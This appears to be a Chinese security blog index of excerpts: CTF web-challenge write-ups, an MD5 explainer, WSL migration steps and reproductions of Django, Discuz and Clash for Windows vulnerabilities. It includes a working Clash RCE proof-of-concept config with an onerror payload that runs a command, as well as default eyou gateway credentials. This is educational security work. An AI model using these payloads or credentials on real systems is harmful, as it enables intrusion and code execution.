密码口令
弱口令 Des: 通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。 页面如下: 尝试账密admin/admin。 获得flag。 拓展:弱口令在实战中的应用 由于一些产品的默认设置或使用人员的偷懒行为,我们有时在实际渗透过程中尝试一下弱口令会获得一些意想不到的收获。 默认口令 Des: N/A。 页面如下: 在搜索引擎搜索eyou邮件网关默认账号即可,此处附上其它相关默认账密: 邮件、网管系统默认账密:admin aaaaa LDAP默认账密:eyouadmin aaaaa MySQL默认账密:root 密码空 网关后台默认账密: admin +-ccccc eyougw admin@(eyou) eyouuser eyou_admin 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。
信息泄漏
目录遍历 Des: N/A。 页面如下: 点击按钮后会进入一个在线FTP目录: 挨个进入查看即可。 获得flag。 PHPINFO Des: N/A。 页面如下: 点击按钮进入phpinfo页面,Ctrl+F搜索flag即可在Environment中的变量中找到flag。 获得flag。 拓展:phpinfo PHP: phpinfo - Manual phpinfo包含所有EGPCS(Environment, GET, POST, Cookie, Server)数据,通过phpinfo页面我们能获取到服务器的很多配置信息,在后续的文件上传等操作上能依据该页面的禁用函数定制攻击手法。 备份文件下载 网站源码 Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。 页面如下: 尝试访问www.zip,成功获取网站源码。 获得flag。 bak文件 Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。 页面内容如下: Flag in index.php source code. 网站默认首页为index.php,查看页面源码没有任何信息,尝试获取index.php源码,联想到题目给的bak文件,尝试访问index.php.bak,成功获取index.php.bak文件。 获得flag。 vim缓存 Des: 当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。 页面如下: 备份文件下载 - vim flag 在 index.php 源码中 页面提示我们获取index.php文件,再根据题目名称我们大概可知具体方法为获取index.php的vim缓存文件,访问.index.php.swp即可,此处在index.php之前加.是因为vim缓存文件默认为隐藏文件,所以文件名前有个.。获取到index.php.swp文件后我们先在Linux中使用touch命令创建一个同名文件index.php,再使用vim -r <filename>恢复文件内容。 拓展:vim文件备份 用户在使用vim的过程中若因断电、网络不稳定(如终端突然断开等情况)等原因突然中断文件编辑时,第一次vim会在当前目录生成一个与编辑文件同名的后缀为.swp的备份文件,第二次后缀为swo,第三次后缀为swn。用户可使用vim -r命令查看当前目录下的所有swp文件,在当前目录存在与备份文件同名的文件时,使用vim -r <filename>命令将备份文件中的内容覆盖至文件。 .DS_Store Des: ....
HTTP协议
HTTP协议简介 HTTP,即Hyper Text Transfer Protocol超文本传输协议。是用于万维网WWW (World Wide Web)服务器传输超文本到本地浏览器的传输协议,其基于TCP/IP通信协议传输数据。但由于HTTP以明文方式传输数据,缺乏安全性,后面又诞生了HTTPS,即HyperText Transfer Protocol Secure超文本传输安全协议,HTTPS也经由HTTP进行通信,但利用SSL/TLS加密数据包,提供对网站服务器的认证,保护交换资料的隐私和完整性。 使用HTTP协议的网站URL为http://开头,默认端口号为80;使用HTTPS协议的网站URL为https://开头,默认端口号为443。 接下来稍微对这两个协议进行一下拓展。 HTTP工作原理 HTTP工作于C/S,即客户端/服务端架构上,浏览器作为HTTP客户端,通过URL向HTTP服务端,即Web服务器发送请求,常见Web服务器有Apache、IIS等,Web服务器依据收到的请求向客户端发送对应的响应信息。 HTTP有以下三个特点: 无连接:限制每次连接只处理一个请求,服务端处理完客户端的请求并收到客户端的应答后就会断开连接,其优势在于节省传输时间; 媒体独立:只要客户端和服务端知道如何处理数据内容,任何类型的数据都可通过HTTP进行传输,客户端和服务端只需协商好MIME-type即可; 无状态:HTTP协议对事务处理没有记忆能力,缺少状态意味着若后续还想继续处理之前的信息将必须对所有数据进行重传,这样做可能导致每次连接传输的数据量增大。 HTTP协议通信流程如下: 请求方式 Des: HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。 页面内容如下: HTTP Method is GET Use CTF**B Method, I will give you flag. Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php. 请求包如下: GET /index.php HTTP/1.1 Host: challenge-ce480bbff14843e2.sandbox.ctfhub.com:10800 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 按照给出的方式,使用bp抓包并对网站发送请求:...
WSL
简介 基本命令: WSL 的基本命令 | Microsoft Docs 位置迁移 先导出再导入即可实现迁移。 1 关闭系统 确认系统运行情况: wsl --list --verbose # 或 wsl -l -v 关闭系统: wsl --shutdown 2 迁移 导出到事先创建好的D:\Kali目录: # wsl --export <系统名> <导出文件路径> wsl --export kali-linux D:\Kali\Kali.tar 导入: # wsl --import <系统名> <安装位置> <导入文件位置> <WSL版本号> wsl --import Kali D:\Kali D:\Kali\Kali.tar --version 2 删除迁移前的系统: wsl -l -v # 结果如下 NAME STATE VERSION * kali-linux Stopped 2 Kali Stopped 2 # 删除第一个,即迁移前的系统 wsl --unregister kali-linux 完成迁移。...
MD5
简介 MD5,即Message-Digest Algorithm 5,MD5信息摘要算法。 这是一种典型的哈希函数/散列函数,会将任意消息内容变为长度固定的散列值,任何输入内容都将被输出一个长度固定为128bit的MD5值,同一个输入消息的输出结果始终相同。 MD5数据的128bit散列值分为4部分,用4个幻数设定其初始值,4个幻数在内存地址上从低到高为: 幻数 内存地址 A 01 23 45 67 B 89 ab cd ef C fe dc ba 98 D 76 54 32 10 标准幻数总共为4*32=128bit。 MD5算法生成散列值的过程总共分为三步:1、填充对齐;2、分块;3、多轮压缩。 1、填充补齐:需要将数据补充为512bit的整数倍,在补齐数据中采用小端格式,最后64bit固定用于表示原始数据大小,中间剩下的bit第一个填1,其余均为0。若数据为1000bit,不足够存放64bit表示原始数据大小的数据,则补齐到512的三倍即可。 2、分块:分为512bit的数据块。 3、多轮压缩:将当前散列值的4部分各复制一份,分别用a、b、c、d表示,压缩共有4轮,每轮压缩过程使用数据块和a、b、c、d进行一系列与、或、非、循环移位的位操作,将a、b、c、d各自更新4次,4轮压缩一共更新16次。完成4轮压缩后,将最后得到的a、b、c、d分别加回到当前散列值的4个部分,散列值被更新。之所以叫压缩,是因为这个过程实际上在使用512bit的数据块来更新128bit的散列值,信息被压缩了,然后再使用后续大块进行相同操作,唯一不同点在于此时散列值初始值为前一个大块的最终值。 在所有大块上完成多轮压缩后,散列值更新为最终输出的MD5值,将这4部分合起来并变换为大端数即为最终输出的MD5值。 MD5信息摘要算法于1992年公开,其主要目的在于取代MD4算法,1996年后MD5算法被证实存在弱点,可以被加以破解,2004年MD5算法被证实无法防止碰撞,不适用于SSL公开密钥、数字签名等安全性认证。 应用场景 文件校验 数据库字段加密 如何攻击 MD5只是一个产生消息摘要的散列函数,而非加密算法,这个过程有信息损失且不可逆推。举例:1 | 1 = 1,但是不能倒推原始数据。 以鸽笼原理举例,一定会有同一个笼子至少有两只鸽子,引申出碰撞的概念。 原像攻击 这是对MD5的第一个基本安全要求,即找到任意一个能产生这个MD5值的消息,不过到今天也没有一个通用的可行方案。 暴力穷举:MD5值的范围在0~2^128^之间,理论上可行,但工程上不现实。 第二原像攻击 如果给定一个消息,能不能再找到另外一个MD5值相同的消息呢? 抗第二原像攻击(抗弱碰撞性)是对MD5的第二个基本安全性要求,除了在MD4弱消息上可行,对于MD5目前并没有有效的可行方案。 抗碰撞性(最不具安全性) 也叫抗强碰撞性,是对MD5的第三个基本安全性要求。 这个特性继续放宽了攻击标准,不指定MD5值和消息,只要找出两个MD5值相同的消息即可。 之前的研究很长时间都困在“伪碰撞”的范围,真正的突破在2005年山东大学王小云团队的"How to Break MD5 and Other Hash Functions"论文,研究思路为基于模块化差分,大体思路为先找到局部碰撞,然后分析差分如何传播,找到差分路径,再利用消息修改技术得到能产生碰撞的消息对。 和MD5算法本身相比,寻找碰撞的方法要抽象、复杂得多,但这也正是信安领域的魅力。 这个方法在大约15~60min内找到了碰撞,从学术角度看,MD5大势已去,但从工程角度而言,虽然可以快速找到大量MD5碰撞,但这两个碰撞的消息是根据差分路径和消息修改精心构造而来,基本上都是没有实际意义的乱码,很难想象会对MD5的工程应用造成什么直接影响。 在王小云团队的研究基础上,2007年Marc Stevens在硕士论文中交付了两项新成果:1、用一个内容在几秒钟内生成另外两个MD5值一样,但内容不同的消息,重要的是生成的内容可以有意义,该成果有一个叫fastcoll的软件,可通过该软件生成MD5值相同且可以正常打开的图片,但仔细观察文本就会发现其结尾数据并不相同,这被称为相同前缀碰撞,原始内容作为前缀,然后不断尝试构造两个不同的后缀数据,直到最后两者MD5相同,前缀数据保留了内容本身的意义。换个概念来讲,若用可执行程序作为前缀,攻击者可绕过审核发布钓鱼软件,只需让软件内部做一个判定,如本程序最后1bit为1执行正常行为,0执行恶意行为,正常版本通过检测后再用恶意版本进行替换,若只依赖于MD5值判断的话将无法检测到替换的发生。相同前缀生成的可执行文件代码一样,只是触发条件不同,但是在杀毒过程中还是有可能发现可疑行为,所以最好情况是正常版本和恶意版本为两个不相干的程序;2、自由选择前缀消息内容,生成两个MD5值一样但前缀内容不同的文件,称之为选择前缀碰撞,其还会对使用MD5的数字签名产生巨大威胁。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。
Django JSONField SQL注入 CVE 2019 14234漏洞复现
漏洞描述 Django是一个由Python编写的开源Web框架,采用MTV框架模式。 该漏洞需要开发者使用JSONField/HStoreField且用户可控queryset查询时的键名,在键名的位置实现SQL注入。 Django通常结合PostgreSQL数据库进行使用,而JSONField是该数据库的一种数据类型,漏洞成因在于Django中JSONField类的实现,Django的model的本质作用在于生成SQL语句,但Django在通过JSONField生成SQL语句时仅通过简单字符串拼接,通过JSONField类获得KeyTransform类并生成SQL语句: class KeyTransform(Transdform): operator = '->' nested_operator = '#>' def __init__(self, key_name, *args, **kwargs): super().__init__(*args, **kwargs) self.key_name = key_name def as_sql(self, compiler, connection): key_transforms = [self.key_name] previous.= self.lhs while isinstance(previous, KeyTransform): key_transforms.insert(0, previous.key_name) previous = previous.lhs lhs, params = compiler.compile(previous) if len(key_transforms) > 1: return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params try: int(self.key_name) except ValueError: lookup = "'%s'" % self.key_name else: lookup = "%s" % self....
Django URL跳转 CVE-2018-14574漏洞复现
漏洞描述 当setting中配置了django.middleware.common.CommonMiddleware且APPEND_SLASH=True时会触发URL跳转漏洞,而这两个配置默认存在,且APPEND_SLASH不需显式写在setting配置文件。CommonMiddleware是Django的一个通用中间件,其实质是一个位于site-packages/django/middleware/common.py的类,用于执行一些HTTP请求的基础操作: - Forbid access to User-Agents in settings.DISALLOWED_USER_AGENTS - URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings, append missing slashes and/or prepends missing "www."s. - If APPEND_SLASH is set and the initial URL doesn't end with a slash, and it is not found in urlpatterns, form a new URL by appending a slash at the end. If this new URL is found in urlpatterns, return an HTTP redirect to this new URL; otherwise process the initial URL as usual....
Clash for Windows RCE漏洞复现
漏洞描述 [Bug]: Remote Code Execution/远程代码执行 · Issue #2710 · Fndroid/clash_for_windows_pkg (github.com) 影响版本 Clash for Windows 0.19.9版本受部分影响。 Clash for Windows 0.19.8及以下版本均受RCE影响。 漏洞复现 POC: port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" skip-cert-verify: true proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> Clash for Windows下载地址:Releases · Fndroid/clash_for_windows_pkg (github....
Django Debug Page XSS CVE-2017-12794漏洞复现
漏洞原理 若Django项目使用Postgres作为数据库,当触发异常时,psycopg会将字段名及字段值抛出,当字段值中包含可控字符串时,其最后便会在页面中进行显示。 我们可查看1.11.4和1.11.5版本之间django/views/templates/technical_500.html文件的差异: 其差异在于外部关闭了全局转义,并在如图所示处增加了强制转义。若要触发这两个输出点,我们需要进入{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}语句,那么就需要我们判断这段代码所在的功能点,然后精准打击,图中有一串The above exception was the direct cause of the following exception:报错提示,而依据经验的话这是Django中数据库异常抛出的错误语句。 在Django命令行下,当创建一个已存在的用户时,系统会因触发数据库Unique异常而抛出一个IntegrityError异常,其目的在于方便开发者进行SQL错误调试。 查看django/db/utils.py的__exit__函数: def __exit__(self, exc_type, exc_value, traceback): if exc_type is None: return for dj_exc_type in ( DataError, OperationalError, IntegrityError, InternalError, ProgrammingError, NotSupportedError, DatabaseError, InterfaceError, Error, ): db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__) if issubclass(exc_type, db_exc_type): dj_exc_value = dj_exc_type(*exc_value.args) dj_exc_value.__cause__ = exc_value if not hasattr(exc_value, '__traceback__'): exc_value.__traceback__ = traceback # Only set the 'errors_occurred' flag for errors that may make # the connection unusable....
Discuz!X≤3.4任意文件删除漏洞复现
漏洞描述 Discuz 3.4版本之前的任意文件删除漏洞未被完全修复,虽然添加了对属性formtype的判断,但仍可通过模拟文件上传进入其它unlink条件,实现任意文件删除。 影响版本 Discuz 3.4及以下版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/discuz/x3.4-arbitrary-file-deletion docker-compose up -d 环境启动之后直接访问http://<ip>:8080会显示Discuz! info: Can not connect to MySQL server错误,需要先在http://<ip>:8080/install页面安装Discuz,数据库地址填写为db,数据库及管理员密码自行填写即可: 访问http://<ip>/robots.txt查看robots.txt文件是否存在,文件存在且内容如下: # # robots.txt for Discuz! X3 # User-agent: * Disallow: /api/ Disallow: /data/ Disallow: /source/ Disallow: /install/ Disallow: /template/ Disallow: /config/ Disallow: /uc_client/ Disallow: /uc_server/ Disallow: /static/ Disallow: /admin.php Disallow: /search.php Disallow: /member.php Disallow: /api.php Disallow: /misc.php Disallow: /connect.php Disallow: /forum.php?mod=redirect* Disallow: /forum.php?mod=post* Disallow: /home.php?mod=spacecp* Disallow: /userapp....